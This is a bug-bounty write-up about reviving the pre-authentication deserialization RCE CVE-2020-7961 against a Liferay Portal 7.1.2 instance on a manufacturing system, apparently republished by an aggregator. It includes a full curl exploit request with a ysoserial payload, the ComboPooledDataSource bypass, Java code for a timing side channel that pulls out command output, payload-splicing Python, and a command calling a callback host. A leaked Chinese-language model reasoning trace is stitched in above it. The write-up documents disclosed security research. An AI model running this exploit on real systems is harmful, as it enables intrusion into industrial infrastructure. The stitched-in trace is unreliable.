Why Every Scanner Missed This RCE: Reviving CVE-2020–7961 On A 7 Year old Instance of Liferay
好的,我现在需要帮用户总结一篇英文文章的内容,控制在100个字以内,并且不需要使用“文章内容总结”或“这篇文章”这样的开头。首先,我得仔细阅读这篇文章,理解其主要观点和关键信息。 这篇文章主要讲述了两位安全研究人员如何发现并利用Liferay Portal的一个漏洞CVE-2020-7961。他们最初尝试使用已知的PoC,但遇到了HTTP 000错误,这表明服务器崩溃了。经过深入分析,他们发现这个问题与OSGi类加载器有关,导致C3P0库中的某些类无法找到JMX相关类,从而引发崩溃。 接下来,他们找到了另一个类ComboPooledDataSource,这个类在构造时不会触发JMX注册问题,因此可以绕过之前的障碍。此外,他们还注意到C3P0的parseUserOverridesAsString()方法需要一个分号结尾的hex blob才能正确解析。通过这些调整,他们成功实现了远程代码执行。 在测试过程中,他们遇到了另一个问题:Runtime.exec()命令是非阻塞的,导致无法通过响应时间来确认执行结果。于是他们设计了一个基于响应时间的数据提取方法,逐字符读取命令输出,并通过调整睡眠时间来编码数据。 最终,他们在制造系统的MES平台上实现了远程代码执行,并成功写入文件作为验证。这个漏洞的影响非常大,因为它是预认证的,并且只需要一个HTTP POST请求即可完成攻击。 总结下来,这篇文章展示了如何通过细致的分析和创新的方法绕过看似不可逾越的技术障碍,并成功利用一个已知漏洞进行攻击。这对于安全研究人员来说是一个很好的案例研究。 </think> 两位安全研究人员发现Liferay Portal 7.1.2 CE存在CVE-2020-7961漏洞, 该漏洞允许攻击者通过JSONWS API进行反序列化攻击, 实现远程代码执行。然而, 默认利用方式因OSGi类加载器限制而失败。研究人员通过尝试其他C3P0类, 绕过限制并成功利用该漏洞, 最终实现预认证远程代码执行, 影响制造系统MES平台。 2026-3-13 17:49:22 Author: infosecwriteups.com(查看原文) 阅读量:2 收藏

Phil

By Phil W (yppip — HackerOne) & Armand J (zer0_sec — HackerOne, bugcrowd)

Press enter or click to view image in full size

The Target

During a bug bounty collaboration, we found a Liferay Portal instance hiding in plain sight on a manufacturing subdomain. A quick fingerprint gave us everything we needed:

Liferay-Portal: Liferay Community Edition Portal 7.1.2 CE GA3 (Build 7102)
Server: Apache Tomcat/9.0.10

Version 7.1.2, released January 2019. That’s well within the blast radius of CVE-2020–7961, a pre-auth deserialization vulnerability in Liferay’s JSONWS API that was patched in 7.2.1. The JSONWS service catalog was wide open too:

GET /api/jsonws?discover=/  →  200 OK, 459KB, 938 services

Should be a straightforward pop. Every scanner agrees. Every scanner is wrong!

CVE-2020–7961: The 30-Second Version

Liferay’s /api/jsonws/invoke endpoint accepts JSON that describes which Java service method to call and what arguments to pass. It uses the Jodd JSON library to deserialize these arguments, and Jodd supports a +type hint that lets the attacker specify any Java class.

The classic exploitation chain:

  1. Target the expandocolumn/add-column service (or any service with an Object-typed parameter)
  2. Inject +defaultData: "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" in the JSON
  3. Set userOverridesAsString to HexAsciiSerializedMap:<hex-encoded serialized object>;
  4. C3P0’s parseUserOverridesAsString() calls ObjectInputStream.readObject() on the hex blob
  5. The blob contains a CommonsBeanutils1 gadget chain that triggers TemplatesImpl bytecode execution

There are public PoCs, Metasploit modules, and nuclei templates for this. It’s a solved problem.

Except when it isn’t.

The Wall: HTTP 000

We generated a standard CB1 payload with ysoserial and fired it off:

java $YSOFLAGS -jar ysoserial.jar CommonsBeanutils1 "sleep 5" > payload.bin
HEX=$(xxd -p payload.bin | tr -d '\n')
curl -sk http://TARGET/api/jsonws/invoke \
-X POST -H "Content-Type: application/json" \
-d "[{\"/expandocolumn/add-column\":{
\"tableId\":1,\"name\":\"A\",\"type\":15,
\"+defaultData\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",
\"defaultData\":{
\"userOverridesAsString\":\"HexAsciiSerializedMap:${HEX};\"
}
}}]" \
-w "\nTime: %{time_total}s HTTP: %{http_code}\n"
Time: 0.61s HTTP: 000

HTTP status 000. That’s curl’s way of saying the server dropped the TCP connection without sending any response. The Tomcat thread died. Not a 500, not a 403. The entire thread crashed.

This is what every vulnerability scanner sees. They send the standard payload, get a connection reset, and mark it as “not vulnerable” or “WAF blocked.” They’re wrong — the payload is being deserialized, it’s just killing the server in the process.

Why WrapperConnectionPoolDataSource Crashes on Liferay 7.x

The crash pointed to a known issue with C3P0 under OSGi classloaders. WrapperConnectionPoolDataSource extends WrapperConnectionPoolDataSourceBase, whose constructor chain includes:

public WrapperConnectionPoolDataSourceBase() {
// ...
this.pcs = new PropertyChangeSupport(this); // fine
this.vcs = new VetoableChangeSupport(this); // fine
// But the parent class, WrapperConnectionPoolDataSourceBase,
// inherits from PoolBackedDataSourceBase which does:
registerMBean(); // THIS IS THE PROBLEM
}

The MBean registration path tries to resolve javax.management.* platform classes. On a standard JVM, these are always available. But Liferay 7.x runs on Apache Felix OSGi, a module system where each bundle (including C3P0) has its own isolated classloader.

The Felix classloader for the C3P0 bundle cannot see javax.management.MBeanServer or javax.management.ObjectName. The JMX classes are in the platform module, but Felix’s security boundaries don’t grant C3P0 access to them.

Result: ClassNotFoundException → uncaught → thread death → TCP reset → HTTP 000.

This isn’t a partial remediation. This isn’t a WAF. It’s just OSGi being OSGi, and it accidentally makes every public PoC fail on Liferay 7.x deployments.

Finding the Bypass: 14 Classes Later

If WrapperConnectionPoolDataSource dies at MBean registration, we need a C3P0 class that:

  1. Has a userOverridesAsString setter (to trigger deserialization)
  2. Survives construction without touching JMX

We enumerated every C3P0 class on the classpath by cycling through the package namespace and checking which ones returned HTTP 403 (Liferay’s “invalid parameter” response, meaning the class instantiated successfully) vs HTTP 000 (thread crash):

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource    → 000  (crash)
com.mchange.v2.c3p0.PoolBackedDataSource → 000 (crash)
com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource → 000 (crash)
com.mchange.v2.c3p0.ComboPooledDataSource → 403 (ALIVE!)

ComboPooledDataSource inherits from AbstractComboPooledDataSource, which inherits from AbstractPoolBackedDataSource, which inherits from PoolBackedDataSourceBase, the same base class. But ComboPooledDataSource's constructor path avoids the JMX registration that kills the others.

More importantly, it still inherits the setUserOverridesAsString() method from the same PoolBackedDataSourceBase hierarchy. The deserialization trigger is identical. The only difference is the constructor doesn’t crash.

The Missing Semicolon

With the right class identified, we regenerated the payload:

{"+defaultData": "com.mchange.v2.c3p0.ComboPooledDataSource",
"defaultData": {"userOverridesAsString": "HexAsciiSerializedMap:ACED0005..."}}
Time: 0.75s HTTP: 403

0.75s. That’s basically baseline. No deserialization happened. The hex blob was being ignored.

C3P0’s C3P0ImplUtils.parseUserOverridesAsString() expects the format:

HexAsciiSerializedMap:<hex>;

The trailing semicolon is mandatory. Without it, the parser silently returns null and never calls readObject(). No error, no log entry, it just does nothing. An easy detail to miss if you’re building payloads by hand.

{"userOverridesAsString": "HexAsciiSerializedMap:ACED0005...;"}
Time: 10.53s HTTP: 403

10.53 seconds. We have code execution.

Plot Twist: Runtime.exec() Is Non-Blocking

With RCE confirmed via Thread.sleep(10000), the natural next step is out-of-band verification:

java $YSOFLAGS -jar ysoserial.jar CommonsBeanutils1 \
"curl http://MY_CALLBACK_SERVER/rce" > oob.bin
Time: 0.49s HTTP: 403

Zero callbacks. We tried ping, nslookup, wget, curl, python -c, and bash -c. Nothing. The host has a strict egress firewall, all outbound TCP, UDP, and ICMP are blocked.

Get Phil’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

But wait, why was the response only 0.49s? If Runtime.exec("sleep 5") was working, it should take 5 seconds. We tested it explicitly:

Runtime.exec("sleep 5")     →  0.49s  (non-blocking!)
Runtime.exec("sleep 30") → 0.51s (same)

Runtime.exec() in Java is non-blocking, it spawns the process and returns immediately without waiting for it to finish. Think of it like opening a new terminal tab and typing a command; your current tab doesn’t freeze while the other one runs. The sleep command executes as a child process, but the Java thread that called exec() has already moved on and returned the HTTP response.

// Non-blocking: Java starts the process and moves on immediately
Runtime.getRuntime().exec("sleep 30"); // returns in ~0ms
// The HTTP response is sent while "sleep 30" is still running in the background
// Blocking: Java's own thread is paused - nothing can continue until this finishes
Thread.sleep(30000); // returns after 30,000ms
// The HTTP response is delayed by exactly 30 seconds

This is why Thread.sleep() works for timing proof (it pauses the thread handling our HTTP request) but Runtime.exec("sleep N") doesn’t. For timing-based confirmation, you must use in-process delays.

Stock ysoserial Runtime.exec("cmd") payloads are still fine for commands with side effects (writing files, making network connections), they just can’t be used as a timing oracle.

Building a Data Extraction Side Channel

No egress. No OOB. The only observable channel is HTTP response timing. But we have arbitrary bytecode execution, so we can make the server encode data as time.

The Idea

The server can run commands (via Runtime.exec()), and we can control how long it sleeps (via Thread.sleep()). If we combine those, run a command, read one character from its output, and sleep proportionally to that character’s ASCII value, we can decode the response time back into a character.

One character per HTTP request. Slow, but it works through any firewall because the data never actually leaves the server. It’s encoded in the response delay. Perfect for a PoC for the target.

How One Character Is Extracted

Each payload is a compiled Java class with a hardcoded POSITION constant. The class runs in a static initializer (executed when the JVM loads the bytecode):

static {
try {
// Run the command
Process p = Runtime.getRuntime().exec("whoami");
InputStream is = p.getInputStream(); // stdout of the process

// InputStream.read() returns one byte per call.
// Read and discard characters until we reach the position we want.
int ch = -1;
for (int i = 0; i <= POSITION; i++) {
ch = is.read();
}
if (ch == -1) {
// We've hit EOF - no more characters. Short sleep signals "end of output".
Thread.sleep(200);
} else {
// Encode the character as a delay.
// 'a' (97) → (97-96)*1000 = 1000ms, 'z' (122) → 26000ms
int delay = (ch - 96) * 1000;
if (delay > 0) Thread.sleep((long) delay);
}
} catch (Exception e) {}
}

For position 0, the loop reads one character and sleeps on it. For position 1, it reads two characters, throws away the first, sleeps on the second. And so on.

The Pipeline: Compile → Splice → Send → Decode

For each character position, the extraction script:

  1. Compiles a new Java class with the target command and position baked in
  2. Splices the compiled .class into the base CB1 payload (replacing the old class)
  3. Sends it to the server as an HTTP POST
  4. Measures the response time and decodes it back to a character

Why Splice Instead of Regenerating?

The ysoserial CB1 chain is a serialized Java object with a .class file embedded inside it. You could regenerate the entire payload with ysoserial for each character, but that means invoking a full Java process with all ysoserial’s dependencies every iteration.

Instead, we generated the base payload once with ysoserial, saved it as cb1_sleep_payload.bin, and from that point on we just did binary surgery in Python: find the .class inside the blob, cut it out, paste in the new one. This made the extraction script self-contained: just Python + the base payload binary. No ysoserial, no Java toolchain needed to run the PoC. This will make it easier down the line for mass-scanning!

How the Splice Works

Every Java .class file starts with the magic bytes CAFEBABE. Inside the serialized payload, the class bytes are prefixed by a 4-byte length. To swap classes:

# Find the class file inside the serialized payload
marker = b'\xca\xfe\xba\xbe'
idx = payload.find(marker)

# Read the original class length (4 bytes before the magic)
orig_len = struct.unpack('>I', payload[idx-4:idx])[0]

# Cut out the old class, paste in the new one with updated length
result = (payload[:idx-4]
+ struct.pack('>I', len(new_class))
+ new_class
+ payload[idx + orig_len:])

The deserialization chain doesn’t care what class is inside — it loads whatever bytes it finds and executes the static initializer.

Extraction Results

Position by position, character by character:

whoami, position 0: 5.07s → subtract 0.48s baseline → ~5s → chr(96+5) = 'e'
whoami, position 1: 16.50s → ~16s → chr(96+16) = 'p'
whoami, position 2: 3.00s → ~3s → chr(96+3) = 'c'
whoami, position 3: 0.45s → baseline → EOF (end of output)

whoami = epc

For commands with non-alphabetic characters (like id returning uid=83(epc)), we switched to a full ASCII encoding: (ch - 32) * 400ms, giving ~400ms resolution across the entire printable range. This allow extraction of hostname and id for further proof. Running these on repeat was fairly consistent, the occasional letter would increase by one every now and again with network jitter. This could be improved with longer timings, but it was fine for now.

File Write: The Final Proof

The last piece: prove write access. Runtime.exec() does work for commands with side effects — it just can’t be used for timing. So:

Step 1: Send a payload that runs touch /tmp/h1_yppip

Time: 0.59s HTTP: 403  (exec is non-blocking, instant return)

Step 2: Verify by extracting ls /tmp/h1_yppip through the timing channel:

Position 0-14: /tmp/h1_yppip (character by character)
Position 15: EOF

The file exists. We have confirmed:

  • Arbitrary code execution (Thread.sleep timing)
  • Command execution with stdout capture (whoami, id, hostname)
  • File system write (touch + ls verification)
  • All pre-authentication, single HTTP request per action

Why This Was Missed

This Liferay instance was likely scanned by every automated tool that checks for CVE-2020–7961. They all failed for the same reason: every public PoC uses WrapperConnectionPoolDataSource, which crashes on Liferay 7.x’s OSGi classloader.

The kill chain:

  1. Scanner sends standard PoC → WrapperConnectionPoolDataSource constructor
  2. OSGi classloader (Apache Felix) can’t resolve JMX classes
  3. ClassNotFoundException → thread crashes → TCP reset
  4. Scanner sees connection reset → marks as “not vulnerable”

Nobody ever tried ComboPooledDataSource. It’s in the same C3P0 library, inherits the same userOverridesAsString deserialization path, but takes a different constructor route that avoids JMX. The vulnerability was there the whole time, hidden behind a classloader quirk that accidentally broke every known exploit.

The Nuances That Matter

A few lessons from this hack sesh:

1. HTTP 000 ≠ “not vulnerable.” A connection reset means the server tried to process your input and died. That’s arguably more interesting than a clean error response. If the thread is crashing, you’re close, you just need to figure out what’s killing it and find a path around it.

2. Runtime.exec() is fire-and-forget. Java’s Runtime.exec() spawns a process and returns immediately. It doesn’t wait for completion. If your only observable channel is response timing, exec-based payloads are useless for confirmation. Use in-process operations like Thread.sleep(), or read from the process’s input stream (which does block until data arrives).

3. The semicolon matters. C3P0’s parseUserOverridesAsString() silently ignores malformed input. No error, no exception, no log entry. If your hex blob isn’t followed by ;, nothing happens.

4. Egress firewalls aren’t the end. When you can’t make outbound connections, you still have the request-response channel. Any operation that affects response timing becomes a data exfiltration vector. It’s slow (one character per request), but it works.

Impact

Pre-authentication remote code execution on a production manufacturing system. No credentials required. Single HTTP POST request per action. The application was a factory floor MES (Manufacturing Execution System) managing production scheduling, supply chain logistics, and IoT device connectivity for an industrial environment.

The host was taken offline VERY shortly after the file write. All of the previous attempts and sleep confirmations were seemingly unnoticed, but the file write was the final straw. This was later confirmed by the SOC.

Timeline

This all happened within a working day and has been reported to the vendors bug bounty program. All testing was authorized and conducted within program scope.


文章来源: https://infosecwriteups.com/why-every-scanner-missed-this-rce-reviving-cve-2020-7961-on-a-7-year-old-instance-of-liferay-a0d1c4af0738?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh